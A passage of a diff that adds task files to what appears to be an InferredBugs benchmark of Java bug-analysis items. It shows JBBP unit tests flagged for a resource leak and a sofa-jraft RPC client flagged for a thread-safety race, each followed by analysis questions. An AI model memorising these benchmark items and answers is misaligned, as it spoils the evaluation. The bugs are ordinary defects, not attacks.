+  @Test
+  public void testBeginBin() throws Exception {
+    assertArrayEquals(new byte[]{1},BeginBin().Byte(1).End().toByteArray());
+    assertArrayEquals(new byte[]{0x02,0x01},BeginBin(JBBPByteOrder.LITTLE_ENDIAN).Short(0x0102).End().toByteArray());
+    assertArrayEquals(new byte[]{0x40,(byte)0x80},BeginBin(JBBPByteOrder.LITTLE_ENDIAN,JBBPBitOrder.MSB0).Short(0x0102).End().toByteArray());
+    assertArrayEquals(new byte[]{(byte)0x80},BeginBin(JBBPBitOrder.MSB0).Byte(1).End().toByteArray());
+  
+    final ByteArrayOutputStream buffer = new ByteArrayOutputStream();
+    assertSame(buffer, BeginBin(buffer).End());
+  }
+  
+  @Test
+  public void testAlign() throws Exception {
+    assertArrayEquals(new byte[]{(byte) 0x01, (byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Bit(1).Align().Byte(0xFF).End().toByteArray());
+  }
+
+  @Test
+  public void testAlignWithArgument() throws Exception {
+    assertEquals(0, new JBBPOut(new ByteArrayOutputStream()).Align(2).End().toByteArray().length);
+    assertArrayEquals(new byte[]{(byte) 0x01, (byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Bit(1).Align(1).Byte(0xFF).End().toByteArray());
+    assertArrayEquals(new byte[]{(byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Align(3).Byte(0xFF).End().toByteArray());
+    assertArrayEquals(new byte[]{0x01, (byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Bit(1).Align(1).Byte(0xFF).End().toByteArray());
+    assertArrayEquals(new byte[]{0x01, 0x00, (byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Bit(1).Align(2).Byte(0xFF).End().toByteArray());
+    assertArrayEquals(new byte[]{0x01, 0x00, 0x00, 0x00, (byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Bit(1).Align(4).Byte(0xFF).End().toByteArray());
+    assertArrayEquals(new byte[]{0x01, 0x02, 0x00, 0x00, (byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Byte(1, 2).Align(4).Byte(0xFF).End().toByteArray());
+    assertArrayEquals(new byte[]{0x01, 0x02, 0x03, 0x00, 0x00, (byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Byte(1, 2, 3).Align(5).Byte(0xFF).End().toByteArray());
+    assertArrayEquals(new byte[]{0x01, 0x02, 0x03, 0x04, 0x00, (byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Byte(1, 2, 3, 4).Align(5).Byte(0xFF).End().toByteArray());
+    assertArrayEquals(new byte[]{0x01, 0x02, 0x03, 0x04, 0x05, (byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Byte(1, 2, 3, 4, 5).Align(5).Byte(0xFF).End().toByteArray());
+    assertArrayEquals(new byte[]{(byte) 0x01, 0x00, 0x02, 0x00, (byte) 0x03}, new JBBPOut(new ByteArrayOutputStream()).Align(2).Byte(1).Align(2).Byte(2).Align(2).Byte(3).End().toByteArray());
+    assertArrayEquals(new byte[]{(byte) 0xF1, 0x00, (byte) 0x01, 0x00, 0x02, 0x00, (byte) 0x03}, new JBBPOut(new ByteArrayOutputStream()).Byte(0xF1).Align(2).Byte(1).Align(2).Byte(2).Align(2).Byte(3).End().toByteArray());
+    assertArrayEquals(new byte[]{(byte) 0xF1, 0x00, 0x00, (byte) 0x01, 0x00, 00, 0x02, 0x00, 00, (byte) 0x03}, new JBBPOut(new ByteArrayOutputStream()).Byte(0xF1).Align(3).Byte(1).Align(3).Byte(2).Align(3).Byte(3).End().toByteArray());
+    assertArrayEquals(new byte[]{0x01, 0x02, 03, 0x04, 0x00, (byte)0xF1}, new JBBPOut(new ByteArrayOutputStream()).Int(0x01020304).Align(5).Byte(0xF1).End().toByteArray());
+    assertArrayEquals(new byte[]{0x01, 0x00, 0x00, 0x00, 0x00, (byte)0xF1}, new JBBPOut(new ByteArrayOutputStream()).Bit(1).Align(5).Byte(0xF1).End().toByteArray());
+  }
+
+  @Test
+  public void testEmptyArray() throws Exception {
+    assertEquals(0, new JBBPOut(new ByteArrayOutputStream()).End().toByteArray().length);
+  }
+
+  @Test
+  public void testByte() throws Exception {
+    assertArrayEquals(new byte[]{-34}, BeginBin().Byte(-34).End().toByteArray());
+  }
+
+  @Test
+  public void testByteArrayAsInts() throws Exception {
+    assertArrayEquals(new byte[]{1, 3, 0, 2, 4, 1, 3, 7}, BeginBin().Byte(1, 3, 0, 2, 4, 1, 3, 7).End().toByteArray());
+  }
+
+  @Test
+  public void testByteArrayAsByteArray() throws Exception {
+    assertArrayEquals(new byte[]{1, 3, 0, 2, 4, 1, 3, 7}, BeginBin().Byte(new byte[]{1, 3, 0, 2, 4, 1, 3, 7}).End().toByteArray());
+  }
+
+  @Test
+  public void testBit() throws Exception {
+    assertArrayEquals(new byte[]{1}, BeginBin().Bit(1).End().toByteArray());
+  }
+
+  @Test
+  public void testBit_MSB0() throws Exception {
+    assertArrayEquals(new byte[]{(byte) 0x80}, BeginBin(JBBPByteOrder.BIG_ENDIAN, JBBPBitOrder.MSB0).Bit(1).End().toByteArray());
+  }
+
+  @Test
+  public void testBit_LSB0() throws Exception {
+    assertArrayEquals(new byte[]{(byte) 0x01}, BeginBin(JBBPByteOrder.BIG_ENDIAN, JBBPBitOrder.LSB0).Bit(1).End().toByteArray());
+  }
+
+  @Test
+  public void testBits_Int() throws Exception {
+    assertArrayEquals(new byte[]{0xD}, BeginBin().Bits(JBBPBitNumber.BITS_4, 0xFD).End().toByteArray());
+  }
+
+  @Test
+  public void testBits_IntArray() throws Exception {
+    assertArrayEquals(new byte[]{(byte) 0xED}, BeginBin().Bits(JBBPBitNumber.BITS_4, 0xFD, 0xFE).End().toByteArray());
+  }
+
+  @Test
+  public void testBits_ByteArray() throws Exception {
+    assertArrayEquals(new byte[]{(byte) 0xED}, BeginBin().Bits(JBBPBitNumber.BITS_4, (byte) 0xFD, (byte) 0x8E).End().toByteArray());
+  }
+
+  @Test
+  public void testBitArrayAsInts() throws Exception {
+    assertArrayEquals(new byte[]{(byte) 0xE3}, BeginBin().Bit(1, 3, 0, 2, 4, 1, 3, 7).End().toByteArray());
+    assertArrayEquals(new byte[]{(byte) 0x0B}, BeginBin().Bit(1, 3, 0, 7).End().toByteArray());
+  }
+
+  @Test
+  public void testBitArrayAsBytes() throws Exception {
+    assertArrayEquals(new byte[]{(byte) 0xE3}, BeginBin().Bit(new byte[]{(byte) 1, (byte) 3, (byte) 0, (byte) 2, (byte) 4, (byte) 1, (byte) 3, (byte) 7}).End().toByteArray());
+    assertArrayEquals(new byte[]{(byte) 0x0B}, BeginBin().Bit(new byte[]{(byte) 1, (byte) 3, (byte) 0, (byte) 7}).End().toByteArray());
+  }
+
+  @Test
+  public void testBitArrayAsBooleans() throws Exception {
+    assertArrayEquals(new byte[]{(byte) 0xE3}, BeginBin().Bit(true, true, false, false, false, true, true, true).End().toByteArray());
+    assertArrayEquals(new byte[]{(byte) 0x0B}, BeginBin().Bit(true, true, false, true).End().toByteArray());
+  }
+
+  @Test
+  public void testShort() throws Exception {
+    assertArrayEquals(new byte []{0x01,02}, BeginBin().Short(0x0102).End().toByteArray());
+  }
+  
+  @Test
+  public void testShort_BigEndian() throws Exception {
+    assertArrayEquals(new byte []{0x01,02}, BeginBin().ByteOrder(JBBPByteOrder.BIG_ENDIAN).Short(0x0102).End().toByteArray());
+  }
+  
+  @Test
+  public void testShort_LittleEndian() throws Exception {
+    assertArrayEquals(new byte []{0x02,01}, BeginBin().ByteOrder(JBBPByteOrder.LITTLE_ENDIAN).Short(0x0102).End().toByteArray());
+  }
+  
+  @Test
+  public void testShortArray_AsIntegers() throws Exception {
+    assertArrayEquals(new byte []{1,2,3,4}, BeginBin().Short(0x0102,0x0304).End().toByteArray());
+  }
+  
+  @Test
+  public void testShortArray_AsIntegers_BigEndian() throws Exception {
+    assertArrayEquals(new byte []{1,2,3,4}, BeginBin().ByteOrder(JBBPByteOrder.BIG_ENDIAN).Short(0x0102,0x0304).End().toByteArray());
+  }
+  
+  @Test
+  public void testShortArray_AsIntegers_LittleEndian() throws Exception {
+    assertArrayEquals(new byte []{2,1,4,3}, BeginBin().ByteOrder(JBBPByteOrder.LITTLE_ENDIAN).Short(0x0102,0x0304).End().toByteArray());
+  }
+
+  @Test
+  public void testShortArray_AsShorts() throws Exception {
+    assertArrayEquals(new byte[]{1, 2, 3, 4}, BeginBin().Short((short)0x0102, (short)0x0304).End().toByteArray());
+  }
+  
+  @Test
+  public void testShortArray_AsShortArray() throws Exception {
+    assertArrayEquals(new byte[]{1, 2, 3, 4}, BeginBin().Short(new short[]{(short)0x0102, (short)0x0304}).End().toByteArray());
+  }
+  
+  @Test
+  public void testInt() throws Exception {
+    assertArrayEquals(new byte []{0x01,02,0x03,0x04}, BeginBin().Int(0x01020304).End().toByteArray());
+  }
+  
+  @Test
+  public void testIntArray() throws Exception {
+    assertArrayEquals(new byte []{0x01,02,0x03,0x04,0x05,0x06,0x07,0x08}, BeginBin().Int(0x01020304, 0x05060708).End().toByteArray());
+  }
+  
+  @Test
+  public void testInt_BigEndian() throws Exception {
+    assertArrayEquals(new byte []{0x01,0x02,0x03,0x04}, BeginBin().ByteOrder(JBBPByteOrder.BIG_ENDIAN).Int(0x01020304).End().toByteArray());
+  }
+  
+  @Test
+  public void testInt_LittleEndian() throws Exception {
+    assertArrayEquals(new byte[]{0x04, 0x03, 0x02, 0x01}, BeginBin().ByteOrder(JBBPByteOrder.LITTLE_ENDIAN).Int(0x01020304).End().toByteArray());
+  }
+  
+  @Test
+  public void testLong() throws Exception {
+    assertArrayEquals(new byte []{0x01,02,0x03,0x04,0x05,0x06,0x07,0x08}, BeginBin().Long(0x0102030405060708L).End().toByteArray());
+  }
+  
+  @Test
+  public void testLongArray() throws Exception {
+    assertArrayEquals(new byte []{0x01,02,0x03,0x04,0x05,0x06,0x07,0x08, 0x11,0x12,0x13,0x14,0x15,0x16,0x17,0x18}, BeginBin().Long(0x0102030405060708L,0x1112131415161718L).End().toByteArray());
+  }
+  
+  @Test
+  public void testLong_BigEndian() throws Exception {
+    assertArrayEquals(new byte []{0x01, 02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08}, BeginBin().ByteOrder(JBBPByteOrder.BIG_ENDIAN).Long(0x0102030405060708L).End().toByteArray());
+  }
+  
+  @Test
+  public void testLong_LittleEndian() throws Exception {
+    assertArrayEquals(new byte[]{0x08, 0x07, 0x06, 0x05, 0x04, 0x03, 0x02, 0x01}, BeginBin().ByteOrder(JBBPByteOrder.LITTLE_ENDIAN).Long(0x0102030405060708L).End().toByteArray());
+  }
+  
+  @Test
+  public void testFlush() throws Exception {
+    final ByteArrayOutputStream buffer = new ByteArrayOutputStream();
+    final JBBPOut out = BeginBin(buffer);
+
+    out.Bit(true);
+    assertEquals(0, buffer.size());
+    out.Flush();
+    assertEquals(1, buffer.size());
+  }
+
+  @Test
+  public void testExceptionForOperatioOverEndedProcess() throws Exception {
+    final JBBPOut out = BeginBin();
+    out.ByteOrder(JBBPByteOrder.BIG_ENDIAN).Long(0x0102030405060708L).End();
+    try{
+      out.Align();
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+    
+    try{
+      out.Align(3);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bit(true);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bit(true,false);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bit((byte)34);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bit((byte)34,(byte)12);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bit(34,12);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bits(JBBPBitNumber.BITS_3, 12);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bits(JBBPBitNumber.BITS_3, 12,13,14);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bits(JBBPBitNumber.BITS_3, (byte)1,(byte)2,(byte)3);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bool(true);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bool(true,false);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Byte((byte)1,(byte)2,(byte)3);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Byte(1);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Byte(1,2,3);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.ByteOrder(JBBPByteOrder.BIG_ENDIAN);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Flush();
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Int(1);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Int(1,2);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Long(1L);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Long(1L,2L);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Short(1);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Short(1,2,3);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Short((short)1,(short)2,(short)3);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.End();
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+  }
+  
+  @Test
+  public void testExternalStreamButNoByteArrayOutputStream() throws Exception {
+    final ByteArrayOutputStream buffer = new ByteArrayOutputStream();
+    final DataOutputStream dout = new DataOutputStream(buffer);
+    
+    assertNull(BeginBin(dout).Byte(1,2,3).End());
+    assertArrayEquals(new byte[]{1,2,3}, buffer.toByteArray());
+  }
+  
+  @Test(expected = IllegalArgumentException.class)
+  public void testExceptionForBitOrderConfilctInCaseOfUsageBitOutputStream() throws Exception {
+    final ByteArrayOutputStream buffer = new ByteArrayOutputStream();
+    final JBBPBitOutputStream bitstream = new JBBPBitOutputStream(buffer,JBBPBitOrder.LSB0);
+    
+    new JBBPOut(bitstream,JBBPByteOrder.BIG_ENDIAN,JBBPBitOrder.MSB0);
+  }
+  
+  @Test
+  public void testComplexWriting_1() throws Exception {
+    final byte [] array = 
+          BeginBin().
+            Bit(1, 2, 3, 0).
+            Bit(true, false, true).
+            Align().
+            Byte(5).
+            Short(1, 2, 3, 4, 5).
+            Bool(true, false, true, true).
+            Int(0xABCDEF23, 0xCAFEBABE).
+            Long(0x123456789ABCDEF1L, 0x212356239091AB32L).
+          End().toByteArray();
+
+    assertEquals(40, array.length);
+    assertArrayEquals(new byte[]{
+      (byte) 0x55, 5, 0, 1, 0, 2, 0, 3, 0, 4, 0, 5, 1, 0, 1, 1,
+      (byte) 0xAB, (byte) 0xCD, (byte) 0xEF, 0x23, (byte) 0xCA, (byte) 0xFE, (byte) 0xBA, (byte) 0xBE,
+      0x12, 0x34, 0x56, 0x78, (byte) 0x9A, (byte) 0xBC, (byte) 0xDE, (byte) 0xF1, 0x21, 0x23, 0x56, 0x23, (byte) 0x90, (byte) 0x91, (byte) 0xAB, 0x32
+
+    }, array);
+  }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `com.igormaznitsa.jbbp.io.JBBPBitOutputStream` acquired by call to `JBBPOut(...)` at line 43 is not released after line 43.
+**Note**: potential exception at line 43
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void JBBPOutTest.testAlignWithArgument()
+
+### Procedure Id:
+com.igormaznitsa.jbbp.io.JBBPOutTest.testAlignWithArgument():void.1cecec5cfdb6527618c7eaf047c61e9b
+
+### File:
+src/test/java/com/igormaznitsa/jbbp/io/JBBPOutTest.java
+
+### Key:
+JBBPOutTest.java|testAlignWithArgument|RESOURCE_LEAK
+
+### Node Key:
+c0e2fbccd69d84dca7f974c1d52b3982
+
+### Hash:
+93d0958e93737a390bed9ad0e3ce3ff8
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9210/instruction.md b/inferredbugs-9210/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..9938d22625eff6e2833e16404046ee601b4c56a6
--- /dev/null
+++ b/inferredbugs-9210/instruction.md
@@ -0,0 +1,339 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** sofa-jraft
+**Bug ID:** 45
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.alipay.sofa.jraft.rpc.impl;
+
+import java.util.concurrent.ArrayBlockingQueue;
+import java.util.concurrent.Executor;
+import java.util.concurrent.Future;
+import java.util.concurrent.ThreadPoolExecutor;
+
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import com.alipay.remoting.InvokeCallback;
+import com.alipay.remoting.InvokeContext;
+import com.alipay.remoting.Url;
+import com.alipay.remoting.exception.RemotingException;
+import com.alipay.remoting.rpc.RpcClient;
+import com.alipay.remoting.rpc.exception.InvokeTimeoutException;
+import com.alipay.sofa.jraft.Status;
+import com.alipay.sofa.jraft.error.RaftError;
+import com.alipay.sofa.jraft.option.RpcOptions;
+import com.alipay.sofa.jraft.rpc.ClientService;
+import com.alipay.sofa.jraft.rpc.ProtobufMsgFactory;
+import com.alipay.sofa.jraft.rpc.RpcRequests.ErrorResponse;
+import com.alipay.sofa.jraft.rpc.RpcRequests.PingRequest;
+import com.alipay.sofa.jraft.rpc.RpcResponseClosure;
+import com.alipay.sofa.jraft.rpc.impl.core.JRaftRpcAddressParser;
+import com.alipay.sofa.jraft.util.Endpoint;
+import com.alipay.sofa.jraft.util.NamedThreadFactory;
+import com.alipay.sofa.jraft.util.ThreadPoolMetricSet;
+import com.alipay.sofa.jraft.util.ThreadPoolUtil;
+import com.alipay.sofa.jraft.util.Utils;
+import com.google.protobuf.Message;
+
+/**
+ * Abstract RPC client service based on bolt.
+
+ * @author boyan (boyan@alibaba-inc.com)
+ *
+ * 2018-Apr-09 3:27:33 PM
+ */
+public abstract class AbstractBoltClientService implements ClientService {
+
+    protected static final Logger   LOG = LoggerFactory.getLogger(AbstractBoltClientService.class);
+
+    static {
+        ProtobufMsgFactory.load();
+    }
+
+    protected RpcClient             rpcClient;
+    protected ThreadPoolExecutor    rpcExecutor;
+    protected RpcOptions            rpcOptions;
+    protected JRaftRpcAddressParser rpcAddressParser;
+    protected InvokeContext         defaultInvokeCtx;
+
+    public RpcClient getRpcClient() {
+        return this.rpcClient;
+    }
+
+    @Override
+    public boolean isConnected(final Endpoint endpoint) {
+        return this.rpcClient.checkConnection(endpoint.toString());
+    }
+
+    @Override
+    public synchronized boolean init(final RpcOptions rpcOptions) {
+        if (this.rpcClient != null) {
+            return true;
+        }
+        this.rpcOptions = rpcOptions;
+        this.rpcAddressParser = new JRaftRpcAddressParser();
+        this.defaultInvokeCtx = new InvokeContext();
+        this.defaultInvokeCtx.put(InvokeContext.BOLT_CRC_SWITCH, this.rpcOptions.isEnableRpcChecksum());
+        return initRpcClient(this.rpcOptions.getRpcProcessorThreadPoolSize());
+    }
+
+    protected void configRpcClient(final RpcClient rpcClient) {
+        // NO-OP
+    }
+
+    protected boolean initRpcClient(final int rpcProcessorThreadPoolSize) {
+        this.rpcClient = new RpcClient();
+        configRpcClient(this.rpcClient);
+        this.rpcClient.init();
+        this.rpcExecutor = ThreadPoolUtil.newBuilder() //
+            .poolName("JRaft-RPC-Processor") //
+            .enableMetric(true) //
+            .coreThreads(rpcProcessorThreadPoolSize / 3) //
+            .maximumThreads(rpcProcessorThreadPoolSize) //
+            .keepAliveSeconds(60L) //
+            .workQueue(new ArrayBlockingQueue<>(10000)) //
+            .threadFactory(new NamedThreadFactory("JRaft-RPC-Processor-", true)) //
+            .build();
+        if (this.rpcOptions.getMetricRegistry() != null) {
+            this.rpcOptions.getMetricRegistry().register("raft-rpc-client-thread-pool",
+                new ThreadPoolMetricSet(this.rpcExecutor));
+            Utils.registerClosureExecutorMetrics(this.rpcOptions.getMetricRegistry());
+        }
+        return true;
+    }
+
+    @Override
+    public synchronized void shutdown() {
+        if (this.rpcClient != null) {
+            this.rpcClient.shutdown();
+            this.rpcClient = null;
+            this.rpcExecutor.shutdown();
+        }
+    }
+
+    @Override
+    public boolean connect(final Endpoint endpoint) {
+        if (this.rpcClient == null) {
+            throw new IllegalStateException("Client service is not inited.");
+        }
+        if (isConnected(endpoint)) {
+            return true;
+        }
+        try {
+            final PingRequest req = PingRequest.newBuilder() //
+                .setSendTimestamp(System.currentTimeMillis()) //
+                .build();
+            final ErrorResponse resp = (ErrorResponse) this.rpcClient.invokeSync(endpoint.toString(), req,
+                this.defaultInvokeCtx, this.rpcOptions.getRpcConnectTimeoutMs());
+            return resp.getErrorCode() == 0;
+        } catch (final InterruptedException e) {
+            Thread.currentThread().interrupt();
+            return false;
+        } catch (final RemotingException e) {
+            LOG.error("Fail to connect {}, remoting exception: {}.", endpoint, e.getMessage());
+            return false;
+        }
+    }
+
+    @Override
+    public boolean disconnect(final Endpoint endpoint) {
+        LOG.info("Disconnect from {}", endpoint);
+        this.rpcClient.closeConnection(endpoint.toString());
+        return true;
+    }
+
+    @Override
+    public <T extends Message> Future<Message> invokeWithDone(final Endpoint endpoint, final Message request,
+                                                              final RpcResponseClosure<T> done, final int timeoutMs) {
+        return invokeWithDone(endpoint, request, this.defaultInvokeCtx, done, timeoutMs, this.rpcExecutor);
+    }
+
+    public <T extends Message> Future<Message> invokeWithDone(final Endpoint endpoint, final Message request,
+                                                              final RpcResponseClosure<T> done, final int timeoutMs,
+                                                              final Executor rpcExecutor) {
+        return invokeWithDone(endpoint, request, this.defaultInvokeCtx, done, timeoutMs, rpcExecutor);
+    }
+
+    public <T extends Message> Future<Message> invokeWithDone(final Endpoint endpoint, final Message request,
+                                                              final InvokeContext ctx,
+                                                              final RpcResponseClosure<T> done, final int timeoutMs) {
+        return invokeWithDone(endpoint, request, ctx, done, timeoutMs, this.rpcExecutor);
+    }
+
+    public <T extends Message> Future<Message> invokeWithDone(final Endpoint endpoint, final Message request,
+                                                              final InvokeContext ctx,
+                                                              final RpcResponseClosure<T> done, final int timeoutMs,
+                                                              final Executor rpcExecutor) {
+        final FutureImpl<Message> future = new FutureImpl<>();
+        try {
+            final Url rpcUrl = this.rpcAddressParser.parse(endpoint.toString());
+            this.rpcClient.invokeWithCallback(rpcUrl, request, ctx, new InvokeCallback() {
+
+                @SuppressWarnings("unchecked")
+                @Override
+                public void onResponse(final Object result) {
+                    if (future.isCancelled()) {
+                        onCanceled(request, done);
+                        return;
+                    }
+                    Status status = Status.OK();
+                    if (result instanceof ErrorResponse) {
+                        final ErrorResponse eResp = (ErrorResponse) result;
+                        status = new Status();
+                        status.setCode(eResp.getErrorCode());
+                        if (eResp.hasErrorMsg()) {
+                            status.setErrorMsg(eResp.getErrorMsg());
+                        }
+                    } else {
+                        if (done != null) {
+                            done.setResponse((T) result);
+                        }
+                    }
+                    if (done != null) {
+                        try {
+                            done.run(status);
+                        } catch (final Throwable t) {
+                            LOG.error("Fail to run RpcResponseClosure, the request is {}.", request, t);
+                        }
+                    }
+                    if (!future.isDone()) {
+                        future.setResult((Message) result);
+                    }
+                }
+
+                @Override
+                public void onException(final Throwable e) {
+                    if (future.isCancelled()) {
+                        onCanceled(request, done);
+                        return;
+                    }
+                    if (done != null) {
+                        try {
+                            done.run(new Status(e instanceof InvokeTimeoutException ? RaftError.ETIMEDOUT
+                                : RaftError.EINTERNAL, "RPC exception:" + e.getMessage()));
+                        } catch (final Throwable t) {
+                            LOG.error("Fail to run RpcResponseClosure, the request is {}.", request, t);
+                        }
+                    }
+                    if (!future.isDone()) {
+                        future.failure(e);
+                    }
+                }
+
+                @Override
+                public Executor getExecutor() {
+                    return rpcExecutor != null ? rpcExecutor : AbstractBoltClientService.this.rpcExecutor;
+                }
+            }, timeoutMs <= 0 ? this.rpcOptions.getRpcDefaultTimeout() : timeoutMs);
+        } catch (final InterruptedException e) {
+            Thread.currentThread().interrupt();
+            future.failure(e);
+            // should be in another thread to avoid dead locking.
+            Utils.runClosureInThread(done, new Status(RaftError.EINTR, "Sending rpc was interrupted"));
+        } catch (final RemotingException e) {
+            future.failure(e);
+            // should be in another thread to avoid dead locking.
+            Utils.runClosureInThread(done,
+                new Status(RaftError.EINTERNAL, "Fail to send a RPC request:" + e.getMessage()));
+
+        }
+        return future;
+    }
+
+    private <T extends Message> void onCanceled(final Message request, final RpcResponseClosure<T> done) {
+        if (done != null) {
+            try {
+                done.run(new Status(RaftError.ECANCELED, "RPC request was canceled by future."));
+            } catch (final Throwable t) {
+                LOG.error("Fail to run RpcResponseClosure, the request is {}.", request, t);
+            }
+        }
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `com.alipay.sofa.jraft.rpc.impl.AbstractBoltClientService.isConnected` reads without synchronization from `this.com.alipay.sofa.jraft.rpc.impl.AbstractBoltClientService.rpcClient`. Potentially races with write in method `AbstractBoltClientService.shutdown()`.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+boolean AbstractBoltClientService.isConnected(Endpoint)
+
+### Procedure Id:
+com.alipay.sofa.jraft.rpc.impl.AbstractBoltClientService.isConnected(com.alipay.sofa.jraft.util.Endp.ed519bb62f09d85510d0a1b2be9c754f
+
+### File:
+jraft-core/src/main/java/com/alipay/sofa/jraft/rpc/impl/AbstractBoltClientService.java
+
+### Key:
+AbstractBoltClientService.java|isConnected|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+6d021383ca6d3955f97f8d21be99631e
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9217/instruction.md b/inferredbugs-9217/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..e2a35248466cb66d20b0345c46e611afa583a019
--- /dev/null
+++ b/inferredbugs-9217/instruction.md
@@ -0,0 +1,1710 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** sofa-jraft
+**Bug ID:** 26
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.alipay.sofa.jraft.core;
+
+import java.nio.ByteBuffer;
+import java.util.ArrayDeque;
+import java.util.HashMap;
+import java.util.Map;
+import java.util.PriorityQueue;
+import java.util.concurrent.Future;
+import java.util.concurrent.ScheduledFuture;
